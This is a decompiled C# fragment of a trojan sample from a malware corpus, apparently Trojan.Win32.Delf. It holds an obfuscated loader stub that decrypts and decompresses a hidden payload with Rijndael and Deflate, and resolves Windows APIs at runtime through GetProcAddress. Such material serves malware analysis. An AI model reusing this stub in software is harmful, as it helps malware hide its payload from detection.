// Decompiled with JetBrains decompiler
// Type: .

// Assembly: Explorer, Version=1.0.0.0, Culture=neutral, PublicKeyToken=1133f7a8419a0062
// MVID: 9EBACA4B-5CC4-4E1D-BB8B-A34A1921D651
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Delf.cjha-09fdf048be5ee692c4b7f67dcd746d321697af807f132f1e395c35c2bc7d244c.exe

using \u0005;
using System;
using System.IO;
using System.IO.Compression;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;

namespace \u0005
{
  internal class \u0001
  {
    private static byte[] \u0003([In] byte[] obj0, [In] string obj1)
    {
      Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(obj1, new byte[8]);
      return new RijndaelManaged().CreateDecryptor(rfc2898DeriveBytes.GetBytes(32), rfc2898DeriveBytes.GetBytes(16)).TransformFinalBlock(obj0, 0, obj0.Length);
    }

    private static byte[] \u0003([In] byte[] obj0)
    {
      MemoryStream memoryStream1 = new MemoryStream(obj0);
      MemoryStream memoryStream2 = new MemoryStream();
      byte[] buffer = new byte[1024];
      using (DeflateStream deflateStream = new DeflateStream((Stream) memoryStream1, CompressionMode.Decompress, true))
      {
        while (true)
        {
          int count = deflateStream.Read(buffer, 0, buffer.Length);
          if (count > 0)
            memoryStream2.Write(buffer, 0, count);
          else
            break;
        }
      }
      return memoryStream2.ToArray();
    }

    public static byte[] \u0003([In] string obj0, [In] string obj1) => \u0001.\u0003(\u0001.\u0003(Encoding.Default.GetBytes(obj0), obj1));

    [DllImport("kernel32", EntryPoint = "GetProcAddress")]
    public static extern IntPtr \u0003([In] IntPtr obj0, [In] string obj1);

    [DllImport("kernel32", EntryPoint = "GetModuleHandle")]
    public static extern IntPtr \u0003([In] string obj0);
  }
}